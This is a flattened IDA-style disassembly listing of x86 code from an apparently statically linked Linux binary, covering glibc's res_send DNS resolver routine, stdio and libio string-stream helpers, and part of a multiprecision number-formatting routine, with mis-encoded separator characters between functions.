mov eax, [edx+8] push eax mov eax, [edx+4] push eax mov eax, [edx] push eax mov eax, errno push eax push offset aConnectDg ; "connect(dg)" jmp loc_804F04C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EF68: ; CODE XREF: res_send+536j mov dword_8078534, 1 loc_804EF72: ; CODE XREF: res_send+51Ej push 0 mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov eax, dword_8078530 push eax call send add esp, 10h cmp [ebp+arg_4], eax jz loc_804F074 mov eax, errno push eax push offset aSend ; "send" push offset unk_80787A4 call sub_804E694 mov eax, 1 mov ecx, esi shl eax, cl or [ebp+var_248], eax jmp loc_804F19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EFBC: ; CODE XREF: res_send+509j ; res_send+511j cmp dword_8078534, 0 jz short loc_804F00C mov [ebp+var_1EC], 2 mov [ebp+var_1E8], 0 mov [ebp+var_1EA], 0 push 10h lea eax, [ebp+var_1EC] push eax mov eax, dword_8078530 push eax call connect mov dword_8078534, 0 mov errno, 0 add esp, 0Ch loc_804F00C: ; CODE XREF: res_send+5B7j push 10h mov eax, [ebp+var_4] push eax push 0 mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov eax, dword_8078530 push eax call sendto add esp, 18h cmp [ebp+arg_4], eax jz short loc_804F074 mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax mov eax, [edx+8] push eax mov eax, [edx+4] push eax mov eax, [edx] push eax mov eax, errno push eax push offset aSendto ; "sendto" loc_804F04C: ; CODE XREF: res_send+555j push offset unk_80787A4 call Aerror mov eax, 1 mov ecx, esi shl eax, cl or [ebp+var_248], eax loc_804F065: ; CODE XREF: res_send+26Aj call sub_804F4F8 add esp, 1Ch jmp loc_804F450 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F074: ; CODE XREF: res_send+581j ; res_send+621j mov edx, dword_8078544 mov ecx, [ebp+var_240] shl edx, cl mov [ebp+var_224], edx test ecx, ecx jle short loc_804F09B mov eax, edx cdq idiv dword_8078550 mov [ebp+var_224], eax loc_804F09B: ; CODE XREF: res_send+67Ej cmp [ebp+var_224], 0 jg short loc_804F0AE mov [ebp+var_224], 1 loc_804F0AE: ; CODE XREF: res_send+696j mov [ebp+var_220], 0 loc_804F0B8: ; CODE XREF: res_send+6F3j ; res_send+7CEj ... lea edx, [ebp+var_21C] xor eax, eax mov ecx, 8 mov edi, edx cld repe stosd mov eax, dword_8078530 bts [ebp+var_21C], eax lea ecx, [ebp+var_224] push ecx push 0 push 0 push edx mov edi, dword_8078530 inc edi push edi call __select mov ebx, eax add esp, 14h test ebx, ebx jge short loc_804F114 cmp errno, 4 jz short loc_804F0B8 mov eax, errno push eax push offset aSelect ; "select" jmp loc_804F193 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F114: ; CODE XREF: res_send+6EAj test ebx, ebx jnz short loc_804F144 test byte ptr dword_807854C, 2 jz short loc_804F133 push offset aTimeout ; ";; timeout\n" push offset unk_8078750 call _IO_fprintf add esp, 8 loc_804F133: ; CODE XREF: res_send+713j mov [ebp+var_234], 1 jmp loc_804EB0C ; case 0x1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F144: ; CODE XREF: res_send+70Aj mov errno, 0 mov [ebp+var_228], 10h lea eax, [ebp+var_228] push eax lea ecx, [ebp+var_1FC] push ecx push 0 mov edi, [ebp+arg_C] push edi mov eax, [ebp+arg_8] push eax mov ecx, dword_8078530 push ecx call recvfrom mov edx, eax mov [ebp+var_8], edx add esp, 18h test edx, edx jg short loc_804F1AC mov eax, errno push eax push offset aRecvfrom ; "recvfrom" loc_804F193: ; CODE XREF: res_send+43Dj ; res_send+700j push offset unk_80787A4 call sub_804E694 loc_804F19D: ; CODE XREF: res_send+2E8j ; res_send+5ABj call sub_804F4F8 add esp, 0Ch jmp loc_804F450 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F1AC: ; CODE XREF: res_send+77Aj mov [ebp+var_234], 1 mov edi, [ebp+var_22C] mov di, [edi] mov eax, [ebp+var_230] cmp [eax], di jz short loc_804F204 test byte ptr dword_807854C, 2 jnz short loc_804F1E0 test byte ptr dword_80786A4+1, 20h jz loc_804F0B8 loc_804F1E0: ; CODE XREF: res_send+7C5j push offset aOldAnswer ; ";; old answer:\n" push offset unk_8078750 call _IO_fprintf push offset unk_8078750 mov ecx, [ebp+var_8] push ecx mov edi, [ebp+arg_8] push edi jmp loc_804F29F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F204: ; CODE XREF: res_send+7BCj test byte ptr dword_807854C+1, 4 jnz short loc_804F240 lea eax, [ebp+var_1FC] push eax call sub_804E6F8 add esp, 4 test eax, eax jnz short loc_804F240 test byte ptr dword_807854C, 2 jnz short loc_804F236 test byte ptr dword_80786A4+1, 20h jz loc_804F0B8 loc_804F236: ; CODE XREF: res_send+81Bj push offset aNotOurServer ; ";; not our server:\n" jmp short loc_804F288 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F240: ; CODE XREF: res_send+7FFj ; res_send+812j test byte ptr dword_807854C+1, 8 jnz short loc_804F2AC mov edi, [ebp+arg_8] add edi, [ebp+arg_C] push edi mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] add ecx, [ebp+arg_4] push ecx mov edi, [ebp+arg_0] push edi call sub_804E944 mov edx, eax add esp, 10h test edx, edx jnz short loc_804F2AC test byte ptr dword_807854C, 2 jnz short loc_804F283 test byte ptr dword_80786A4+1, 20h jz loc_804F0B8 loc_804F283: ; CODE XREF: res_send+868j push offset aWrongQueryName ; ";; wrong query name:\n" loc_804F288: ; CODE XREF: res_send+82Fj push offset unk_8078750 call _IO_fprintf push offset unk_8078750 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_8] push ecx loc_804F29F: ; CODE XREF: res_send+7F0j call sub_805F1DC add esp, 14h jmp loc_804F0B8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F2AC: ; CODE XREF: res_send+83Bj ; res_send+85Fj mov edi, [ebp+var_230] mov dl, [edi+3] and dl, 0Fh cmp dl, 2 jz short loc_804F2C5 mov al, dl add al, 0FCh cmp al, 1 ja short loc_804F313 loc_804F2C5: ; CODE XREF: res_send+8AFj test byte ptr dword_807854C, 2 jz short loc_804F2F2 push offset aServerRejected ; "server rejected query:\n" push offset unk_8078750 call _IO_fprintf push offset unk_8078750 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_8] push ecx call sub_805F1DC add esp, 14h loc_804F2F2: ; CODE XREF: res_send+8C0j mov eax, 1 mov ecx, esi shl eax, cl or [ebp+var_248], eax call sub_804F4F8 cmp dword_80786A4, 0 jz loc_804F450 loc_804F313: ; CODE XREF: res_send+8B7j test byte ptr dword_807854C, 20h jnz short loc_804F358 mov edi, [ebp+var_230] test byte ptr [edi+2], 2 jz short loc_804F358 test byte ptr dword_807854C, 2 jz short loc_804F343 push offset aTruncatedAnswe ; ";; truncated answer\n" push offset unk_8078750 call _IO_fprintf add esp, 8 loc_804F343: ; CODE XREF: res_send+923j mov [ebp+var_244], 1 call sub_804F4F8 jmp loc_804EB01 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F358: ; CODE XREF: res_send+44Bj ; res_send+467j ... test byte ptr dword_807854C, 2 jnz short loc_804F372 mov eax, dword_80786A4 and eax, 2100h cmp eax, 2100h jnz short loc_804F384 loc_804F372: ; CODE XREF: res_send+953j push offset aGotAnswer ; ";; got answer:\n" push offset unk_8078750 call _IO_fprintf add esp, 8 loc_804F384: ; CODE XREF: res_send+964j test byte ptr dword_807854C, 2 jnz short loc_804F396 test byte ptr dword_80786A4+1, 20h jz short loc_804F3BA loc_804F396: ; CODE XREF: res_send+97Fj push offset unk_8067EE3 push offset unk_8078750 call _IO_fprintf push offset unk_8078750 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_8] push ecx call sub_805F1DC add esp, 14h loc_804F3BA: ; CODE XREF: res_send+988j cmp [ebp+var_244], 0 jz short loc_804F3D0 test byte ptr dword_807854C, 8 jz short loc_804F3D9 test esi, esi jnz short loc_804F3D9 loc_804F3D0: ; CODE XREF: res_send+9B5j test byte ptr dword_807854C+1, 1 jnz short loc_804F3DE loc_804F3D9: ; CODE XREF: res_send+9BEj ; res_send+9C2j call sub_804F4F8 loc_804F3DE: ; CODE XREF: res_send+9CBj cmp dword_8078540, 0 jz short loc_804F448 ; case 0x3 xor ebx, ebx lea esi, [esi+0] loc_804F3EC: ; CODE XREF: res_send+A3Aj lea edi, [ebp+var_8] push edi mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx mov edi, dword_8078540 call edi mov edx, eax add esp, 18h cmp edx, 4 ; switch 5 cases ja loc_804F4E4 ; default jmp ds:off_804F424[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_804F424 dd offset loc_804F448 ; DATA XREF: res_send+A0Er dd offset loc_804EB0C ; jump table for switch statement dd offset loc_804F438 dd offset loc_804F448 dd offset loc_804F4E4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F438: ; CODE XREF: res_send+A0Ej ; DATA XREF: res_send+A18o inc ebx ; case 0x2 cmp ebx, 29h jg loc_804F4E4 ; default xor eax, eax test eax, eax jz short loc_804F3EC loc_804F448: ; CODE XREF: res_send+146j ; res_send+9D9j ... mov eax, [ebp+var_8] ; case 0x3 jmp loc_804F4E9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F450: ; CODE XREF: res_send+105j ; res_send+661j ... inc esi cmp dword_8078550, esi jg loc_804EAF4 loc_804F45D: ; CODE XREF: res_send+E0j inc [ebp+var_240] mov ecx, [ebp+var_240] cmp dword_8078548, ecx jg loc_804EAE4 loc_804F475: ; CODE XREF: res_send+CFj call sub_804F4F8 cmp [ebp+var_244], 0 jnz short loc_804F4D8 cmp [ebp+var_234], 0 jnz short loc_804F498 mov errno, 6Fh jmp short loc_804F4E4 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F498: ; CODE XREF: res_send+A7Ej mov errno, 6Eh jmp short loc_804F4E4 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F4A4: ; CODE XREF: res_send+1FEj mov edi, errno mov [ebp+var_23C], edi push edi push offset aSocketVc ; "socket(vc)" loc_804F4B6: ; CODE XREF: res_send+AC9j push offset unk_80787A4 call sub_804E694 jmp short loc_804F4E4 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F4C4: ; CODE XREF: res_send+4E9j mov eax, errno mov [ebp+var_23C], eax push eax push offset aSocketDg ; "socket(dg)" jmp short loc_804F4B6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F4D8: ; CODE XREF: res_send+A75j mov ecx, [ebp+var_23C] mov errno, ecx loc_804F4E4: ; CODE XREF: res_send+2Fj ; res_send+140j ... mov eax, 0FFFFFFFFh ; default loc_804F4E9: ; CODE XREF: res_send+A3Fj lea esp, [ebp+var_264] pop ebx pop esi pop edi mov esp, ebp pop ebp retn res_send endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804F4F8 proc near ; CODE XREF: res_send+100p ; res_send+1E1p ... push ebp mov ebp, esp cmp dword_8078530, 0 jl short loc_804F52D mov eax, dword_8078530 push eax call __libc_close mov dword_8078530, 0FFFFFFFFh mov dword_8078534, 0 mov dword_8078538, 0 loc_804F52D: ; CODE XREF: sub_804F4F8+Aj mov esp, ebp pop ebp retn sub_804F4F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, offset dword_8078544 mov esp, ebp pop ebp retn ; [00000081 BYTES: COLLAPSED FUNCTION _IO_fclose. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000005B BYTES: COLLAPSED FUNCTION _IO_fgets. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000060 BYTES: COLLAPSED FUNCTION _IO_fopen. PRESS KEYPAD "+" TO EXPAND] ; [00000053 BYTES: COLLAPSED FUNCTION _IO_fprintf. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000060 BYTES: COLLAPSED FUNCTION _IO_fread. PRESS KEYPAD "+" TO EXPAND] ; [000000B8 BYTES: COLLAPSED FUNCTION _IO_getline. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_804F7EC proc near ; CODE XREF: sub_804B800+564p ; sub_804B800+59Fp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [ebp+arg_4] push eax push edx push offset unk_8078750 call _IO_vfprintf mov esp, ebp pop ebp retn sub_804F7EC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sprintf proc near ; CODE XREF: real_start+4D7p ; real_start+A12p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] lea eax, [ebp+arg_8] push eax push edx push ecx call _IO_vsprintf mov esp, ebp pop ebp retn sprintf endp ; [00000065 BYTES: COLLAPSED FUNCTION _IO_vsprintf. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00003143 BYTES: COLLAPSED FUNCTION _IO_vfprintf. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000002D0 BYTES: COLLAPSED FUNCTION sub_80529CC. PRESS KEYPAD "+" TO EXPAND] ; [000000F5 BYTES: COLLAPSED FUNCTION sub_8052C9C. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+8] mov esi, [ebx+54h] mov edx, [ebx+14h] sub edx, [ebx+10h] jz short loc_8052DBB mov eax, [esi+50h] push edx mov edx, [ebx+10h] push edx push esi mov eax, [eax+34h] call eax sub [ebx+14h], eax add esp, 0Ch loc_8052DBB: ; CODE XREF: .text:08052DA5j mov edx, [ebx+14h] cmp [ebx+18h], edx jbe short loc_8052DD4 mov al, [ebp+0Ch] mov [edx], al and eax, 0FFh inc dword ptr [ebx+14h] jmp short loc_8052DDF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8052DD4: ; CODE XREF: .text:08052DC1j movzx eax, byte ptr [ebp+0Ch] push eax push ebx call sub_8061910 loc_8052DDF: ; CODE XREF: .text:08052DD0j lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; [00000097 BYTES: COLLAPSED FUNCTION sub_8052DE8. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000B1 BYTES: COLLAPSED FUNCTION _IO_str_init_static. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov edx, [ebp+0Ch] mov eax, [ebp+10h] push 0 push eax push edx push ebx call _IO_str_init_static or byte ptr [ebx], 8 mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov ebx, [ebp+8] cmp dword ptr [ebp+0Ch], 0FFFFFFFFh setz al and eax, 0FFh mov [ebp-4], eax mov ecx, [ebx+14h] sub ecx, [ebx+10h] mov [ebp-8], ecx mov ecx, [ebx+4] sub ecx, [ebx+0Ch] mov [ebp-0Ch], ecx test byte ptr [ebx], 8 jz short loc_8052FA0 xor eax, eax cmp dword ptr [ebp-4], 0 jnz loc_805306C loc_8052F96: ; CODE XREF: .text:08052FDCj ; .text:08052FF3j mov eax, 0FFFFFFFFh jmp loc_805306C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052FA0: ; CODE XREF: .text:08052F88j mov ecx, [ebp-8] cmp [ebx+54h], ecx jnb short loc_8052FAB mov [ebx+54h], ecx loc_8052FAB: ; CODE XREF: .text:08052FA6j mov eax, [ebx] and eax, 0C00h cmp eax, 400h jnz short loc_8052FCB mov ecx, [ebp-0Ch] mov [ebp-8], ecx or dword ptr [ebx], 800h mov ecx, [ebx+54h] mov [ebp-0Ch], ecx loc_8052FCB: ; CODE XREF: .text:08052FB7j mov eax, [ebx+20h] sub eax, [ebx+1Ch] add eax, [ebp-4] cmp [ebp-8], eax jb short loc_8053037 test byte ptr [ebx], 1 jnz short loc_8052F96 mov edi, [ebx+20h] sub edi, [ebx+1Ch] add edi, edi push edi mov eax, [ebx+58h] call eax mov esi, eax add esp, 4 test esi, esi jz short loc_8052F96 mov edx, [ebx+1Ch] mov eax, [ebx+20h] sub eax, edx push eax push edx push esi call memcpy add esp, 0Ch cmp dword ptr [ebx+1Ch], 0 jz short loc_8053021 mov eax, [ebx+1Ch] push eax mov eax, [ebx+5Ch] call eax mov dword ptr [ebx+1Ch], 0 add esp, 4 loc_8053021: ; CODE XREF: .text:0805300Cj push 1 lea eax, [edi+esi] push eax push esi push ebx call sub_8061B6C mov [ebx+10h], esi mov eax, [ebx+20h] mov [ebx+18h], eax loc_8053037: ; CODE XREF: .text:08052FD7j mov ecx, [ebp-8] add ecx, [ebx+1Ch] mov [ebx+14h], ecx mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov ecx, [ebp-0Ch] add ecx, [ebx+1Ch] mov [ebx+4], ecx mov ecx, [ebx+1Ch] add ecx, [ebx+54h] mov [ebx+8], ecx cmp dword ptr [ebp-4], 0 jnz short loc_8053069 mov eax, [ebx+14h] mov cl, [ebp+0Ch] mov [eax], cl inc dword ptr [ebx+14h] loc_8053069: ; CODE XREF: .text:0805305Cj mov eax, [ebp+0Ch] loc_805306C: ; CODE XREF: .text:08052F90j ; .text:08052F9Bj lea esp, [ebp-18h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx+14h] sub eax, [edx+10h] cmp [edx+54h], eax jnb short loc_805308C mov [edx+54h], eax loc_805308C: ; CODE XREF: .text:08053087j mov eax, [edx] and eax, 0C00h cmp eax, 0C00h jnz short loc_80530A6 and dword ptr [edx], 0FFFFF7FFh mov eax, [edx+18h] mov [edx+14h], eax loc_80530A6: ; CODE XREF: .text:08053098j mov ecx, [edx+0Ch] add ecx, [edx+54h] mov [edx+8], ecx mov eax, [edx+4] cmp eax, ecx jb short loc_80530C0 mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80530C0: ; CODE XREF: .text:080530B4j mov eax, [edx+4] movzx eax, byte ptr [eax] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80530CC proc near ; CODE XREF: .text:080530F4p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [edx+14h] sub eax, [edx+10h] cmp [edx+54h], eax jbe short loc_80530E0 mov eax, [edx+54h] loc_80530E0: ; CODE XREF: sub_80530CC+Fj mov esp, ebp pop ebp retn sub_80530CC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+8] mov ebx, [ebp+0Ch] mov edi, [ebp+10h] push esi call sub_80530CC mov edx, eax mov eax, 0FFFFFFFFh mov ecx, [ebp+14h] test cl, 1 jz short loc_805313A cmp edi, 1 jz short loc_8053118 cmp edi, 2 jnz short loc_8053120 add ebx, edx jmp short loc_8053120 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053118: ; CODE XREF: .text:0805310Bj mov eax, [esi+4] sub eax, [esi+0Ch] add ebx, eax loc_8053120: ; CODE XREF: .text:08053110j ; .text:08053114j test ebx, ebx jl short loc_8053160 cmp ebx, edx ja short loc_8053160 mov ecx, [esi+0Ch] add ecx, ebx mov [esi+4], ecx mov ecx, [esi+0Ch] add ecx, edx mov [esi+8], ecx mov eax, ebx loc_805313A: ; CODE XREF: .text:08053106j mov ecx, [ebp+14h] test cl, 2 jz short loc_8053175 cmp edi, 1 jz short loc_8053150 cmp edi, 2 jnz short loc_8053158 add ebx, edx jmp short loc_8053158 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053150: ; CODE XREF: .text:08053145j mov eax, [esi+14h] sub eax, [esi+10h] add ebx, eax loc_8053158: ; CODE XREF: .text:0805314Aj ; .text:0805314Ej test ebx, ebx jl short loc_8053160 cmp ebx, edx jbe short loc_8053168 loc_8053160: ; CODE XREF: .text:08053122j ; .text:08053126j ... mov eax, 0FFFFFFFFh jmp short loc_8053175 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053168: ; CODE XREF: .text:0805315Ej mov [esi+54h], edx mov ecx, [esi+10h] add ecx, ebx mov [esi+14h], ecx mov eax, ebx loc_8053175: ; CODE XREF: .text:08053140j ; .text:08053165j lea esp, [ebp-0Ch] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000027 BYTES: COLLAPSED FUNCTION _IO_str_pbackfail. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] cmp dword ptr [ebx+1Ch], 0 jz short loc_80531C6 test byte ptr [ebx], 1 jnz short loc_80531C6 mov eax, [ebx+1Ch] push eax mov eax, [ebx+5Ch] call eax add esp, 4 loc_80531C6: ; CODE XREF: .text:080531B3j ; .text:080531B8j mov dword ptr [ebx+1Ch], 0 push ebx call _IO_default_finish mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80531DC proc near ; CODE XREF: sub_8053310+12A2p ; sub_8053310+12AFp ... var_C = byte ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 push esi push ebx mov [ebp+var_4], ecx mov ebx, [ebp+var_4] cmp dword ptr [ebx-10h], 0 jz short loc_8053208 cmp dword ptr [ebx-14h], 66h jnz short loc_8053208 mov eax, [ebx-18h] dec dword ptr [ebx-18h] test eax, eax jle short loc_8053208 xor esi, esi jmp loc_80532FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053208: ; CODE XREF: sub_80531DC+12j ; sub_80531DC+18j ... cmp dword ptr [ebx-1Ch], 0 jnz short loc_8053238 mov eax, [ebx-24h] mov edx, [ebx-20h] mov esi, [edx+eax*4-4] push 0Ah dec eax push eax push edx push edx call __mpn_mul_1 mov ecx, eax mov [ebx-28h], ecx mov edx, [ebx-24h] mov eax, [ebx-20h] mov [eax+edx*4-4], ecx jmp loc_80532FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053238: ; CODE XREF: sub_80531DC+30j mov eax, [ebx-24h] cmp [ebx-1Ch], eax jle short loc_8053250 xor esi, esi jmp loc_80532D8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053248: ; CODE XREF: sub_80531DC+CDj ; sub_80531DC+D4j ... lea eax, [edx+1] jmp short loc_80532C6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053250: ; CODE XREF: sub_80531DC+62j mov eax, [ebx-1Ch] push eax mov eax, [ebx-2Ch] push eax mov eax, [ebx-24h] push eax mov eax, [ebx-20h] push eax mov eax, [ebx-30h] push eax call __mpn_divmod mov esi, eax mov edx, [ebx-24h] sub edx, [ebx-1Ch] mov eax, [ebx-30h] mov [eax+edx*4], esi mov eax, [ebx-30h] mov esi, [eax] mov ecx, [ebx-20h] mov edx, [ebx-1Ch] add esp, 14h test edx, edx jz short loc_80532C4 mov eax, edx neg eax and eax, 3 test edx, edx jle short loc_80532B9 test eax, eax jz short loc_80532A4 cmp eax, 3 jge short loc_80532B9 cmp eax, 2 jge short loc_80532B2 jmp short loc_80532AB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80532A4: ; CODE XREF: sub_80531DC+BAj ; sub_80531DC+E6j dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 loc_80532AB: ; CODE XREF: sub_80531DC+C6j dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 loc_80532B2: ; CODE XREF: sub_80531DC+C4j dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 loc_80532B9: ; CODE XREF: sub_80531DC+B6j ; sub_80531DC+BFj dec edx cmp dword ptr [ecx+edx*4], 0 jnz short loc_8053248 test edx, edx jnz short loc_80532A4 loc_80532C4: ; CODE XREF: sub_80531DC+ABj xor eax, eax loc_80532C6: ; CODE XREF: sub_80531DC+6Fj mov [ebx-24h], eax test eax, eax jnz short loc_80532D8 mov dword ptr [ebx-24h], 1 jmp short loc_80532FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80532D8: ; CODE XREF: sub_80531DC+66j ; sub_80531DC+EFj push 0Ah mov eax, [ebx-24h] push eax mov eax, [ebx-20h] push eax push eax call __mpn_mul_1 mov ecx, eax mov [ebx-28h], ecx 